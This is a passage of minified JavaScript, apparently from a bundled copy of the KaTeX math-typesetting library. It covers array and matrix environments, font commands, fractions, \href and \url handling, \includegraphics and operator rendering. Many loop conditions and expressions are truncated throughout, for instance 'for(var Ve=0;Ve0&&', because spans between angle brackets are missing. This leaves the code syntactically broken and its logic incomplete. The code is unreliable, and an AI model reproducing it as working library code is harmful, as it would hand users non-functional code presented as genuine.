n,i,a=e.body.length,s=e.hLinesBeforeRow,l=0,u=new Array(a),h=[],f=Math.max(r.fontMetrics().arrayRuleWidth,r.minRuleThickness),d=1/r.fontMetrics().ptPerEm,p=5*d;if(e.colSeparationType&&e.colSeparationType==="small"){var m=r.havingStyle(nr.SCRIPT).sizeMultiplier;p=.2778*(m/r.sizeMultiplier)}var g=e.colSeparationType==="CD"?ii({number:3,unit:"ex"},r):12*d,y=3*d,v=e.arraystretch*g,x=.7*v,b=.3*v,T=0;function S(q){for(var Ve=0;Ve0&&(T+=.25),h.push({pos:T,isDashed:q[Ve]})}for(o(S,"setHLinePos"),S(s[0]),n=0;n0&&(L+=b,Aq))for(n=0;n=l)){var J=void 0;(i>0||e.hskipBeforeAndAfter)&&(J=er.deflt(U.pregap,p),J!==0&&(O=$e.makeSpan(["arraycolsep"],[]),O.style.width=St(J),_.push(O)));var ue=[];for(n=0;n0){for(var K=$e.makeLineSpan("hline",r,f),ae=$e.makeLineSpan("hdashline",r,f),Q=[{type:"elem",elem:u,shift:0}];h.length>0;){var de=h.pop(),ne=de.pos-E;de.isDashed?Q.push({type:"elem",elem:ae,shift:ne}):Q.push({type:"elem",elem:K,shift:ne})}u=$e.makeVList({positionType:"individualShift",children:Q},r)}if(P.length===0)return $e.makeSpan(["mord"],[u],r);var Te=$e.makeVList({positionType:"individualShift",children:P},r);return Te=$e.makeSpan(["tag"],[Te],r),$e.makeFragment([u,Te])},"htmlBuilder"),bwe={c:"center ",l:"left ",r:"right "},tc=o(function(e,r){for(var n=[],i=new mt.MathNode("mtd",[],["mtr-glue"]),a=new mt.MathNode("mtd",[],["mml-eqn-num"]),s=0;s0){var g=e.cols,y="",v=!1,x=0,b=g.length;g[0].type==="separator"&&(p+="top ",x=1),g[g.length-1].type==="separator"&&(p+="bottom ",b-=1);for(var T=x;T0?"left ":"",p+=C[C.length-1].length>0?"right ":"";for(var R=1;R-1?"alignat":"align",a=e.envName==="split",s=wh(e.parser,{cols:n,addJot:!0,autoTag:a?void 0:yA(e.envName),emptySingleRow:!0,colSeparationType:i,maxNumCols:a?2:void 0,leqno:e.parser.settings.leqno},"display"),l,u=0,h={type:"ordgroup",mode:e.mode,body:[]};if(r[0]&&r[0].type==="ordgroup"){for(var f="",d=0;d0&&m&&(v=1),n[g]={type:"align",align:y,pregap:v,postgap:0}}return s.colSeparationType=m?"align":"alignat",s},"alignedHandler");Jl({type:"array",names:["array","darray"],props:{numArgs:1},handler(t,e){var r=D3(e[0]),n=r?[e[0]]:Tr(e[0],"ordgroup").body,i=n.map(function(s){var l=fA(s),u=l.text;if("lcr".indexOf(u)!==-1)return{type:"align",align:u};if(u==="|")return{type:"separator",separator:"|"};if(u===":")return{type:"separator",separator:":"};throw new gt("Unknown column alignment: "+u,s)}),a={cols:i,hskipBeforeAndAfter:!0,maxNumCols:i.length};return wh(t.parser,a,vA(t.envName))},htmlBuilder:ec,mathmlBuilder:tc});Jl({type:"array",names:["matrix","pmatrix","bmatrix","Bmatrix","vmatrix","Vmatrix","matrix*","pmatrix*","bmatrix*","Bmatrix*","vmatrix*","Vmatrix*"],props:{numArgs:0},handler(t){var e={matrix:null,pmatrix:["(",")"],bmatrix:["[","]"],Bmatrix:["\\{","\\}"],vmatrix:["|","|"],Vmatrix:["\\Vert","\\Vert"]}[t.envName.replace("*","")],r="c",n={hskipBeforeAndAfter:!1,cols:[{type:"align",align:r}]};if(t.envName.charAt(t.envName.length-1)==="*"){var i=t.parser;if(i.consumeSpaces(),i.fetch().text==="["){if(i.consume(),i.consumeSpaces(),r=i.fetch().text,"lcr".indexOf(r)===-1)throw new gt("Expected l or c or r",i.nextToken);i.consume(),i.consumeSpaces(),i.expect("]"),i.consume(),n.cols=[{type:"align",align:r}]}}var a=wh(t.parser,n,vA(t.envName)),s=Math.max(0,...a.body.map(l=>l.length));return a.cols=new Array(s).fill({type:"align",align:r}),e?{type:"leftright",mode:t.mode,body:[a],left:e[0],right:e[1],rightColor:void 0}:a},htmlBuilder:ec,mathmlBuilder:tc});Jl({type:"array",names:["smallmatrix"],props:{numArgs:0},handler(t){var e={arraystretch:.5},r=wh(t.parser,e,"script");return r.colSeparationType="small",r},htmlBuilder:ec,mathmlBuilder:tc});Jl({type:"array",names:["subarray"],props:{numArgs:1},handler(t,e){var r=D3(e[0]),n=r?[e[0]]:Tr(e[0],"ordgroup").body,i=n.map(function(s){var l=fA(s),u=l.text;if("lc".indexOf(u)!==-1)return{type:"align",align:u};throw new gt("Unknown column alignment: "+u,s)});if(i.length>1)throw new gt("{subarray} can contain only one column");var a={cols:i,hskipBeforeAndAfter:!1,arraystretch:.5};if(a=wh(t.parser,a,"script"),a.body.length>0&&a.body[0].length>1)throw new gt("{subarray} can contain only one column");return a},htmlBuilder:ec,mathmlBuilder:tc});Jl({type:"array",names:["cases","dcases","rcases","drcases"],props:{numArgs:0},handler(t){var e={arraystretch:1.2,cols:[{type:"align",align:"l",pregap:0,postgap:1},{type:"align",align:"l",pregap:0,postgap:0}]},r=wh(t.parser,e,vA(t.envName));return{type:"leftright",mode:t.mode,body:[r],left:t.envName.indexOf("r")>-1?".":"\\{",right:t.envName.indexOf("r")>-1?"\\}":".",rightColor:void 0}},htmlBuilder:ec,mathmlBuilder:tc});Jl({type:"array",names:["align","align*","aligned","split"],props:{numArgs:0},handler:CU,htmlBuilder:ec,mathmlBuilder:tc});Jl({type:"array",names:["gathered","gather","gather*"],props:{numArgs:0},handler(t){er.contains(["gather","gather*"],t.envName)&&N3(t);var e={cols:[{type:"align",align:"c"}],addJot:!0,colSeparationType:"gather",autoTag:yA(t.envName),emptySingleRow:!0,leqno:t.parser.settings.leqno};return wh(t.parser,e,"display")},htmlBuilder:ec,mathmlBuilder:tc});Jl({type:"array",names:["alignat","alignat*","alignedat"],props:{numArgs:1},handler:CU,htmlBuilder:ec,mathmlBuilder:tc});Jl({type:"array",names:["equation","equation*"],props:{numArgs:0},handler(t){N3(t);var e={autoTag:yA(t.envName),emptySingleRow:!0,singleRow:!0,maxNumCols:1,leqno:t.parser.settings.leqno};return wh(t.parser,e,"display")},htmlBuilder:ec,mathmlBuilder:tc});Jl({type:"array",names:["CD"],props:{numArgs:0},handler(t){return N3(t),swe(t.parser)},htmlBuilder:ec,mathmlBuilder:tc});ce("\\nonumber","\\gdef\\@eqnsw{0}");ce("\\notag","\\nonumber");Mt({type:"text",names:["\\hline","\\hdashline"],props:{numArgs:0,allowedInText:!0,allowedInMath:!0},handler(t,e){throw new gt(t.funcName+" valid only within array environment")}});LV=EU;Mt({type:"environment",names:["\\begin","\\end"],props:{numArgs:1,argTypes:["text"]},handler(t,e){var{parser:r,funcName:n}=t,i=e[0];if(i.type!=="ordgroup")throw new gt("Invalid environment name",i);for(var a="",s=0;s{var r=t.font,n=e.withFont(r);return Hr(t.body,n)},"htmlBuilder$5"),_U=o((t,e)=>{var r=t.font,n=e.withFont(r);return wn(t.body,n)},"mathmlBuilder$4"),RV={"\\Bbb":"\\mathbb","\\bold":"\\mathbf","\\frak":"\\mathfrak","\\bm":"\\boldsymbol"};Mt({type:"font",names:["\\mathrm","\\mathit","\\mathbf","\\mathnormal","\\mathsfit","\\mathbb","\\mathcal","\\mathfrak","\\mathscr","\\mathsf","\\mathtt","\\Bbb","\\bold","\\frak"],props:{numArgs:1,allowedInArgument:!0},handler:o((t,e)=>{var{parser:r,funcName:n}=t,i=E3(e[0]),a=n;return a in RV&&(a=RV[a]),{type:"font",mode:r.mode,font:a.slice(1),body:i}},"handler"),htmlBuilder:AU,mathmlBuilder:_U});Mt({type:"mclass",names:["\\boldsymbol","\\bm"],props:{numArgs:1},handler:o((t,e)=>{var{parser:r}=t,n=e[0],i=er.isCharacterBox(n);return{type:"mclass",mode:r.mode,mclass:L3(n),body:[{type:"font",mode:r.mode,font:"boldsymbol",body:n}],isCharacterBox:i}},"handler")});Mt({type:"font",names:["\\rm","\\sf","\\tt","\\bf","\\it","\\cal"],props:{numArgs:0,allowedInText:!0},handler:o((t,e)=>{var{parser:r,funcName:n,breakOnTokenText:i}=t,{mode:a}=r,s=r.parseExpression(!0,i),l="math"+n.slice(1);return{type:"font",mode:a,font:l,body:{type:"ordgroup",mode:r.mode,body:s}}},"handler"),htmlBuilder:AU,mathmlBuilder:_U});DU=o((t,e)=>{var r=e;return t==="display"?r=r.id>=nr.SCRIPT.id?r.text():nr.DISPLAY:t==="text"&&r.size===nr.DISPLAY.size?r=nr.TEXT:t==="script"?r=nr.SCRIPT:t==="scriptscript"&&(r=nr.SCRIPTSCRIPT),r},"adjustStyle"),xA=o((t,e)=>{var r=DU(t.size,e.style),n=r.fracNum(),i=r.fracDen(),a;a=e.havingStyle(n);var s=Hr(t.numer,a,e);if(t.continued){var l=8.5/e.fontMetrics().ptPerEm,u=3.5/e.fontMetrics().ptPerEm;s.height=s.height0?g=3*p:g=7*p,y=e.fontMetrics().denom1):(d>0?(m=e.fontMetrics().num2,g=p):(m=e.fontMetrics().num3,g=3*p),y=e.fontMetrics().denom2);var v;if(f){var b=e.fontMetrics().axisHeight;m-s.depth-(b+.5*d){var r=new mt.MathNode("mfrac",[wn(t.numer,e),wn(t.denom,e)]);if(!t.hasBarLine)r.setAttribute("linethickness","0px");else if(t.barSize){var n=ii(t.barSize,e);r.setAttribute("linethickness",St(n))}var i=DU(t.size,e.style);if(i.size!==e.style.size){r=new mt.MathNode("mstyle",[r]);var a=i.size===nr.DISPLAY.size?"true":"false";r.setAttribute("displaystyle",a),r.setAttribute("scriptlevel","0")}if(t.leftDelim!=null||t.rightDelim!=null){var s=[];if(t.leftDelim!=null){var l=new mt.MathNode("mo",[new mt.TextNode(t.leftDelim.replace("\\",""))]);l.setAttribute("fence","true"),s.push(l)}if(s.push(r),t.rightDelim!=null){var u=new mt.MathNode("mo",[new mt.TextNode(t.rightDelim.replace("\\",""))]);u.setAttribute("fence","true"),s.push(u)}return uA(s)}return r},"mathmlBuilder$3");Mt({type:"genfrac",names:["\\dfrac","\\frac","\\tfrac","\\dbinom","\\binom","\\tbinom","\\\\atopfrac","\\\\bracefrac","\\\\brackfrac"],props:{numArgs:2,allowedInArgument:!0},handler:o((t,e)=>{var{parser:r,funcName:n}=t,i=e[0],a=e[1],s,l=null,u=null,h="auto";switch(n){case"\\dfrac":case"\\frac":case"\\tfrac":s=!0;break;case"\\\\atopfrac":s=!1;break;case"\\dbinom":case"\\binom":case"\\tbinom":s=!1,l="(",u=")";break;case"\\\\bracefrac":s=!1,l="\\{",u="\\}";break;case"\\\\brackfrac":s=!1,l="[",u="]";break;default:throw new Error("Unrecognized genfrac command")}switch(n){case"\\dfrac":case"\\dbinom":h="display";break;case"\\tfrac":case"\\tbinom":h="text";break}return{type:"genfrac",mode:r.mode,continued:!1,numer:i,denom:a,hasBarLine:s,leftDelim:l,rightDelim:u,size:h,barSize:null}},"handler"),htmlBuilder:xA,mathmlBuilder:bA});Mt({type:"genfrac",names:["\\cfrac"],props:{numArgs:2},handler:o((t,e)=>{var{parser:r,funcName:n}=t,i=e[0],a=e[1];return{type:"genfrac",mode:r.mode,continued:!0,numer:i,denom:a,hasBarLine:!0,leftDelim:null,rightDelim:null,size:"display",barSize:null}},"handler")});Mt({type:"infix",names:["\\over","\\choose","\\atop","\\brace","\\brack"],props:{numArgs:0,infix:!0},handler(t){var{parser:e,funcName:r,token:n}=t,i;switch(r){case"\\over":i="\\frac";break;case"\\choose":i="\\binom";break;case"\\atop":i="\\\\atopfrac";break;case"\\brace":i="\\\\bracefrac";break;case"\\brack":i="\\\\brackfrac";break;default:throw new Error("Unrecognized infix genfrac command")}return{type:"infix",mode:e.mode,replaceWith:i,token:n}}});NV=["display","text","script","scriptscript"],MV=o(function(e){var r=null;return e.length>0&&(r=e,r=r==="."?null:r),r},"delimFromValue");Mt({type:"genfrac",names:["\\genfrac"],props:{numArgs:6,allowedInArgument:!0,argTypes:["math","math","size","text","math","math"]},handler(t,e){var{parser:r}=t,n=e[4],i=e[5],a=E3(e[0]),s=a.type==="atom"&&a.family==="open"?MV(a.text):null,l=E3(e[1]),u=l.type==="atom"&&l.family==="close"?MV(l.text):null,h=Tr(e[2],"size"),f,d=null;h.isBlank?f=!0:(d=h.value,f=d.number>0);var p="auto",m=e[3];if(m.type==="ordgroup"){if(m.body.length>0){var g=Tr(m.body[0],"textord");p=NV[Number(g.text)]}}else m=Tr(m,"textord"),p=NV[Number(m.text)];return{type:"genfrac",mode:r.mode,numer:n,denom:i,continued:!1,hasBarLine:f,barSize:d,leftDelim:s,rightDelim:u,size:p}},htmlBuilder:xA,mathmlBuilder:bA});Mt({type:"infix",names:["\\above"],props:{numArgs:1,argTypes:["size"],infix:!0},handler(t,e){var{parser:r,funcName:n,token:i}=t;return{type:"infix",mode:r.mode,replaceWith:"\\\\abovefrac",size:Tr(e[0],"size").value,token:i}}});Mt({type:"genfrac",names:["\\\\abovefrac"],props:{numArgs:3,argTypes:["math","size","math"]},handler:o((t,e)=>{var{parser:r,funcName:n}=t,i=e[0],a=J5e(Tr(e[1],"infix").size),s=e[2],l=a.number>0;return{type:"genfrac",mode:r.mode,numer:i,denom:s,continued:!1,hasBarLine:l,barSize:a,leftDelim:null,rightDelim:null,size:"auto"}},"handler"),htmlBuilder:xA,mathmlBuilder:bA});LU=o((t,e)=>{var r=e.style,n,i;t.type==="supsub"?(n=t.sup?Hr(t.sup,e.havingStyle(r.sup()),e):Hr(t.sub,e.havingStyle(r.sub()),e),i=Tr(t.base,"horizBrace")):i=Tr(t,"horizBrace");var a=Hr(i.base,e.havingBaseStyle(nr.DISPLAY)),s=pu.svgSpan(i,e),l;if(i.isOver?(l=$e.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:a},{type:"kern",size:.1},{type:"elem",elem:s}]},e),l.children[0].children[0].children[1].classes.push("svg-align")):(l=$e.makeVList({positionType:"bottom",positionData:a.depth+.1+s.height,children:[{type:"elem",elem:s},{type:"kern",size:.1},{type:"elem",elem:a}]},e),l.children[0].children[0].children[0].classes.push("svg-align")),n){var u=$e.makeSpan(["mord",i.isOver?"mover":"munder"],[l],e);i.isOver?l=$e.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:u},{type:"kern",size:.2},{type:"elem",elem:n}]},e):l=$e.makeVList({positionType:"bottom",positionData:u.depth+.2+n.height+n.depth,children:[{type:"elem",elem:n},{type:"kern",size:.2},{type:"elem",elem:u}]},e)}return $e.makeSpan(["mord",i.isOver?"mover":"munder"],[l],e)},"htmlBuilder$3"),Twe=o((t,e)=>{var r=pu.mathMLnode(t.label);return new mt.MathNode(t.isOver?"mover":"munder",[wn(t.base,e),r])},"mathmlBuilder$2");Mt({type:"horizBrace",names:["\\overbrace","\\underbrace"],props:{numArgs:1},handler(t,e){var{parser:r,funcName:n}=t;return{type:"horizBrace",mode:r.mode,label:n,isOver:/^\\over/.test(n),base:e[0]}},htmlBuilder:LU,mathmlBuilder:Twe});Mt({type:"href",names:["\\href"],props:{numArgs:2,argTypes:["url","original"],allowedInText:!0},handler:o((t,e)=>{var{parser:r}=t,n=e[1],i=Tr(e[0],"url").url;return r.settings.isTrusted({command:"\\href",url:i})?{type:"href",mode:r.mode,href:i,body:gi(n)}:r.formatUnsupportedCmd("\\href")},"handler"),htmlBuilder:o((t,e)=>{var r=Ii(t.body,e,!1);return $e.makeAnchor(t.href,[],r,e)},"htmlBuilder"),mathmlBuilder:o((t,e)=>{var r=Th(t.body,e);return r instanceof es||(r=new es("mrow",[r])),r.setAttribute("href",t.href),r},"mathmlBuilder")});Mt({type:"href",names:["\\url"],props:{numArgs:1,argTypes:["url"],allowedInText:!0},handler:o((t,e)=>{var{parser:r}=t,n=Tr(e[0],"url").url;if(!r.settings.isTrusted({command:"\\url",url:n}))return r.formatUnsupportedCmd("\\url");for(var i=[],a=0;a{var{parser:r,funcName:n,token:i}=t,a=Tr(e[0],"raw").string,s=e[1];r.settings.strict&&r.settings.reportNonstrict("htmlExtension","HTML extension is disabled on strict mode");var l,u={};switch(n){case"\\htmlClass":u.class=a,l={command:"\\htmlClass",class:a};break;case"\\htmlId":u.id=a,l={command:"\\htmlId",id:a};break;case"\\htmlStyle":u.style=a,l={command:"\\htmlStyle",style:a};break;case"\\htmlData":{for(var h=a.split(","),f=0;f{var r=Ii(t.body,e,!1),n=["enclosing"];t.attributes.class&&n.push(...t.attributes.class.trim().split(/\s+/));var i=$e.makeSpan(n,r,e);for(var a in t.attributes)a!=="class"&&t.attributes.hasOwnProperty(a)&&i.setAttribute(a,t.attributes[a]);return i},"htmlBuilder"),mathmlBuilder:o((t,e)=>Th(t.body,e),"mathmlBuilder")});Mt({type:"htmlmathml",names:["\\html@mathml"],props:{numArgs:2,allowedInText:!0},handler:o((t,e)=>{var{parser:r}=t;return{type:"htmlmathml",mode:r.mode,html:gi(e[0]),mathml:gi(e[1])}},"handler"),htmlBuilder:o((t,e)=>{var r=Ii(t.html,e,!1);return $e.makeFragment(r)},"htmlBuilder"),mathmlBuilder:o((t,e)=>Th(t.mathml,e),"mathmlBuilder")});q7=o(function(e){if(/^[-+]? *(\d+(\.\d*)?|\.\d+)$/.test(e))return{number:+e,unit:"bp"};var r=/([-+]?) *(\d+(?:\.\d*)?|\.\d+) *([a-z]{2})/.exec(e);if(!r)throw new gt("Invalid size: '"+e+"' in \\includegraphics");var n={number:+(r[1]+r[2]),unit:r[3]};if(!jV(n))throw new gt("Invalid unit: '"+n.unit+"' in \\includegraphics.");return n},"sizeData");Mt({type:"includegraphics",names:["\\includegraphics"],props:{numArgs:1,numOptionalArgs:1,argTypes:["raw","url"],allowedInText:!1},handler:o((t,e,r)=>{var{parser:n}=t,i={number:0,unit:"em"},a={number:.9,unit:"em"},s={number:0,unit:"em"},l="";if(r[0])for(var u=Tr(r[0],"raw").string,h=u.split(","),f=0;f{var r=ii(t.height,e),n=0;t.totalheight.number>0&&(n=ii(t.totalheight,e)-r);var i=0;t.width.number>0&&(i=ii(t.width,e));var a={height:St(r+n)};i>0&&(a.width=St(i)),n>0&&(a.verticalAlign=St(-n));var s=new Q7(t.src,t.alt,a);return s.height=r,s.depth=n,s},"htmlBuilder"),mathmlBuilder:o((t,e)=>{var r=new mt.MathNode("mglyph",[]);r.setAttribute("alt",t.alt);var n=ii(t.height,e),i=0;if(t.totalheight.number>0&&(i=ii(t.totalheight,e)-n,r.setAttribute("valign",St(-i))),r.setAttribute("height",St(n+i)),t.width.number>0){var a=ii(t.width,e);r.setAttribute("width",St(a))}return r.setAttribute("src",t.src),r},"mathmlBuilder")});Mt({type:"kern",names:["\\kern","\\mkern","\\hskip","\\mskip"],props:{numArgs:1,argTypes:["size"],primitive:!0,allowedInText:!0},handler(t,e){var{parser:r,funcName:n}=t,i=Tr(e[0],"size");if(r.settings.strict){var a=n[1]==="m",s=i.value.unit==="mu";a?(s||r.settings.reportNonstrict("mathVsTextUnits","LaTeX's "+n+" supports only mu units, "+("not "+i.value.unit+" units")),r.mode!=="math"&&r.settings.reportNonstrict("mathVsTextUnits","LaTeX's "+n+" works only in math mode")):s&&r.settings.reportNonstrict("mathVsTextUnits","LaTeX's "+n+" doesn't support mu units")}return{type:"kern",mode:r.mode,dimension:i.value}},htmlBuilder(t,e){return $e.makeGlue(t.dimension,e)},mathmlBuilder(t,e){var r=ii(t.dimension,e);return new mt.SpaceNode(r)}});Mt({type:"lap",names:["\\mathllap","\\mathrlap","\\mathclap"],props:{numArgs:1,allowedInText:!0},handler:o((t,e)=>{var{parser:r,funcName:n}=t,i=e[0];return{type:"lap",mode:r.mode,alignment:n.slice(5),body:i}},"handler"),htmlBuilder:o((t,e)=>{var r;t.alignment==="clap"?(r=$e.makeSpan([],[Hr(t.body,e)]),r=$e.makeSpan(["inner"],[r],e)):r=$e.makeSpan(["inner"],[Hr(t.body,e)]);var n=$e.makeSpan(["fix"],[]),i=$e.makeSpan([t.alignment],[r,n],e),a=$e.makeSpan(["strut"]);return a.style.height=St(i.height+i.depth),i.depth&&(a.style.verticalAlign=St(-i.depth)),i.children.unshift(a),i=$e.makeSpan(["thinbox"],[i],e),$e.makeSpan(["mord","vbox"],[i],e)},"htmlBuilder"),mathmlBuilder:o((t,e)=>{var r=new mt.MathNode("mpadded",[wn(t.body,e)]);if(t.alignment!=="rlap"){var n=t.alignment==="llap"?"-1":"-0.5";r.setAttribute("lspace",n+"width")}return r.setAttribute("width","0px"),r},"mathmlBuilder")});Mt({type:"styling",names:["\\(","$"],props:{numArgs:0,allowedInText:!0,allowedInMath:!1},handler(t,e){var{funcName:r,parser:n}=t,i=n.mode;n.switchMode("math");var a=r==="\\("?"\\)":"$",s=n.parseExpression(!1,a);return n.expect(a),n.switchMode(i),{type:"styling",mode:n.mode,style:"text",body:s}}});Mt({type:"text",names:["\\)","\\]"],props:{numArgs:0,allowedInText:!0,allowedInMath:!1},handler(t,e){throw new gt("Mismatched "+t.funcName)}});IV=o((t,e)=>{switch(e.style.size){case nr.DISPLAY.size:return t.display;case nr.TEXT.size:return t.text;case nr.SCRIPT.size:return t.script;case nr.SCRIPTSCRIPT.size:return t.scriptscript;default:return t.text}},"chooseMathStyle");Mt({type:"mathchoice",names:["\\mathchoice"],props:{numArgs:4,primitive:!0},handler:o((t,e)=>{var{parser:r}=t;return{type:"mathchoice",mode:r.mode,display:gi(e[0]),text:gi(e[1]),script:gi(e[2]),scriptscript:gi(e[3])}},"handler"),htmlBuilder:o((t,e)=>{var r=IV(t,e),n=Ii(r,e,!1);return $e.makeFragment(n)},"htmlBuilder"),mathmlBuilder:o((t,e)=>{var r=IV(t,e);return Th(r,e)},"mathmlBuilder")});RU=o((t,e,r,n,i,a,s)=>{t=$e.makeSpan([],[t]);var l=r&&er.isCharacterBox(r),u,h;if(e){var f=Hr(e,n.havingStyle(i.sup()),n);h={elem:f,kern:Math.max(n.fontMetrics().bigOpSpacing1,n.fontMetrics().bigOpSpacing3-f.depth)}}if(r){var d=Hr(r,n.havingStyle(i.sub()),n);u={elem:d,kern:Math.max(n.fontMetrics().bigOpSpacing2,n.fontMetrics().bigOpSpacing4-d.height)}}var p;if(h&&u){var m=n.fontMetrics().bigOpSpacing5+u.elem.height+u.elem.depth+u.kern+t.depth+s;p=$e.makeVList({positionType:"bottom",positionData:m,children:[{type:"kern",size:n.fontMetrics().bigOpSpacing5},{type:"elem",elem:u.elem,marginLeft:St(-a)},{type:"kern",size:u.kern},{type:"elem",elem:t},{type:"kern",size:h.kern},{type:"elem",elem:h.elem,marginLeft:St(a)},{type:"kern",size:n.fontMetrics().bigOpSpacing5}]},n)}else if(u){var g=t.height-s;p=$e.makeVList({positionType:"top",positionData:g,children:[{type:"kern",size:n.fontMetrics().bigOpSpacing5},{type:"elem",elem:u.elem,marginLeft:St(-a)},{type:"kern",size:u.kern},{type:"elem",elem:t}]},n)}else if(h){var y=t.depth+s;p=$e.makeVList({positionType:"bottom",positionData:y,children:[{type:"elem",elem:t},{type:"kern",size:h.kern},{type:"elem",elem:h.elem,marginLeft:St(a)},{type:"kern",size:n.fontMetrics().bigOpSpacing5}]},n)}else return t;var v=[p];if(u&&a!==0&&!l){var x=$e.makeSpan(["mspace"],[],n);x.style.marginRight=St(a),v.unshift(x)}return $e.makeSpan(["mop","op-limits"],v,n)},"assembleSupSub"),NU=["\\smallint"],C0=o((t,e)=>{var r,n,i=!1,a;t.type==="supsub"?(r=t.sup,n=t.sub,a=Tr(t.base,"op"),i=!0):a=Tr(t,"op");var s=e.style,l=!1;s.size===nr.DISPLAY.size&&a.symbol&&!er.contains(NU,a.name)&&(l=!0);var u;if(a.symbol){var h=l?"Size2-Regular":"Size1-Regular",f="";if((a.name==="\\oiint"||a.name==="\\oiiint")&&(f=a.name.slice(1),a.name=f==="oiint"?"\\iint":"\\iiint"),u=$e.makeSymbol(a.name,h,"math",e,["mop","op-symbol",l?"large-op":"small-op"]),f.length>0){var d=u.italic,p=$e.staticSvg(f+"Size"+(l?"2":"1"),e);u=$e.makeVList({positionType:"individualShift",children:[{type:"elem",elem:u,shift:0},{type:"elem",elem:p,shift:l?.08:0}]},e),a.name="\\"+f,u.classes.unshift("mop"),u.italic=d}}else if(a.body){var m=Ii(a.body,e,!0);m.length===1&&m[0]instanceof Cs?(u=m[0],u.classes[0]="mop"):u=$e.makeSpan(["mop"],m,e)}else{for(var g=[],y=1;y{var r;if(t.symbol)r=new es("mo",[Lo(t.name,t.mode)]),er.contains(NU,t.name)&&r.setAttribute("largeop","false");else if(t.body)r=new es("mo",As(t.body,e));else{r=new es("mi",[new _o(t.name.slice(1))]);var n=new es("mo",[Lo("\u2061","text")]);t.parentIsSupSub?r=new es("mrow",[r,n]):r=sU([r,n])}return r},"mathmlBuilder$1"),wwe={"\u220F":"\\prod","\u2210":"\\coprod","\u2211":"\\sum","\u22C0":"\\bigwedge","\u22C1":"\\bigvee","\u22C2":"\\bigcap","\u22C3":"\\bigcup","\u2A00":"\\bigodot","\u2A01":"\\bigoplus","\u2A02":"\\bigotimes","\u2A04":"\\biguplus","\u2A06":"\\bigsqcup"};Mt({type:"op",names:["\\coprod","\\bigvee","\\bigwedge","\\biguplus","\\bigcap","\\bigcup","\\intop","\\prod","\\sum","\\bigotimes","\\bigoplus","\\bigodot","\\bigsqcup","\\smallint","\u220F","\u2210","\u2211","\u22C0","\u22C1","\u22C2","\u22C3","\u2A00","\u2A01","\u2A02","\u2A04","\u2A06"],props:{numArgs:0},handler:o((t,e)=>{var{parser:r,funcName:n}=t,i=n;return i.length===1&&(i=wwe[i]),{type:"op",mode:r.mode,limits:!0,parentIsSupSub:!1,symbol:!0,name:i}},"handler"),htmlBuilder:C0,mathmlBuilder:Jy});Mt({type:"op",names:["\\mathop"],props:{numArgs:1,primitive:!0},handler:o((t,e)=>{var{parser:r}=t,n=e[0];return{type:"op",mode:r.mode,limits:!1,parentIsSupSub:!1,symbol:!1,body:gi(n)}},"handler"),htmlBuilder:C0,mathmlBuilder:Jy});kwe={"\u222B":"\\int","\u222C":"\\iint","\u222D":"\\iiint","\u222E":"\\oint","\u222F":"\\oiint","\u2230":"\\oiiint"};Mt({type:"op",names:["\\arcsin","\\arccos","\\arctan","\\arctg","\\arcctg","\\arg","\\ch","\\cos","\\cosec","\\cosh","\\cot","\\cotg","\\coth","\\csc","\\ctg","\\cth","\\deg","\\dim","\\exp","\\hom","\\ker","\\lg","\\ln","\\log","\\sec","\\sin","\\sinh","\\sh","\\tan","\\tanh","\\tg","\\th"],props:{numArgs:0},handler(t){var{parser:e,funcName:r}=t;return{type:"op",mode:e.mode,limits:!1,parentIsSupSub:!1,symbol:!1,name:r}},htmlBuilder:C0,mathmlBuilder:Jy});Mt({type:"op",names:["\\det","\\gcd","\\inf","\\lim","\\max","\\min","\\Pr","\\sup"],props:{numArgs:0},handler(t){var{parser:e,funcName:r}=t;return{type:"op",mode:e.mode,limits:!0,parentIsSupSub:!1,symbol:!1,name:r}},htmlBuilder:C0,mathmlBuilder:Jy});Mt({type:"op",names:["\\int","\\iint","\\iiint","\\oint","\\oiint","\\oiiint","\u222B","\u222C","\u222D","\u222E","\u222F","\u2230"],props:{numArgs:0},handler(t){var{parser:e,funcName:r}=t,n=r;return n.length===1&&(n=kwe[n]),{type:"op",mode:e.mode,limits:!1,parentIsSupSub:!1,symbol:!0,name:n}},htmlBuilder:C0,mathmlBuilder:Jy});MU=o((t,e)=>{var r,n,i=!1,a;t.type==="supsub"?(r=t.sup,n=t.sub,a=Tr(t.base,"operatorname"),i=!0):a=Tr(t,"operatorname");var s;if(a.body.length>0){for(var l=a.body.map(d=>{var p=d.text;return typeof p=="string"?{type:"textord",mode:d.mode,text:p}:d}),u=Ii(l,e.withFont("mathrm"),!0),h=0;h{for(var r=As(t.body,e.withFont("mathrm")),n=!0,i=0;if.toText()).join("");r=[new mt.TextNode(l)]}var u=new mt.MathNode("mi",r);u.setAttribute("mathvariant","normal");var h=new mt.MathNode("mo",[Lo("\u2061","text")]);return t.parentIsSupSub?new mt.MathNode("mrow",[u,h]):mt.newDocumentFragment([u,h])},"mathmlBuilder");Mt({type:"operatorname",names:["\\operatorname@","\\operatornamewithlimits"],props:{numArgs:1},handler:o((t,e)=>{var{parser:r,funcName:n}=t,i=e[0];return{type:"operatorname",mode:r.mode,body:gi(i),alwaysHandleSupSub:n==="\\operatornamewithlimits",limits:!1,parentIsSupSub:!1}},"handler"),htmlBuilder:MU,mathmlBuilder:Ewe});ce("\\operatorname","\\@ifstar\\operatornamewithlimits\\operatorname@");dd({type:"ordgroup",htmlBuilder(t,e){return t.semisimple?$e.makeFragment(Ii(t.body,e,!1)):$e.makeSpan(["mord"],Ii(t.body,e,!0),e)},mathmlBuilder(t,e){return Th(t.body,e,!0)}});Mt({type:"overline",names:["\\overline"],props:{numArgs:1},handler(t,e){var{parser:r}=t,n=e[0];return{type:"overline",mode:r.mode,body:n}},htmlBuilder(t,e){var r=Hr(t.body,e.havingCrampedStyle()),n=$e.makeLineSpan("overline-line",e),i=e.fontMetrics().defaultRuleThickness,a=$e.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:r},{type:"kern",size:3*i},{type:"elem",elem:n},{type:"kern",size:i}]},e);return $e.makeSpan(["mord","overline"],[a],e)},mathmlBuilder(t,e){var r=new mt.MathNode("mo",[new mt.TextNode("\u203E")]);r.setAttribute("stretchy","true");var n=new mt.MathNode("mover",[wn(t.body,e),r]);return n.setAttribute("accent","true"),n}});Mt({type:"phantom",names:["\\phantom"],props:{numArgs:1,allowedInText:!0},handler:o((t,e)=>{var{parser:r}=t,n=e[0];return{type:"phantom",mode:r.mode,body:gi(n)}},"handler"),htmlBuilder:o((t,e)=>{var r=Ii(t.body,e.withPhantom(),!1);return 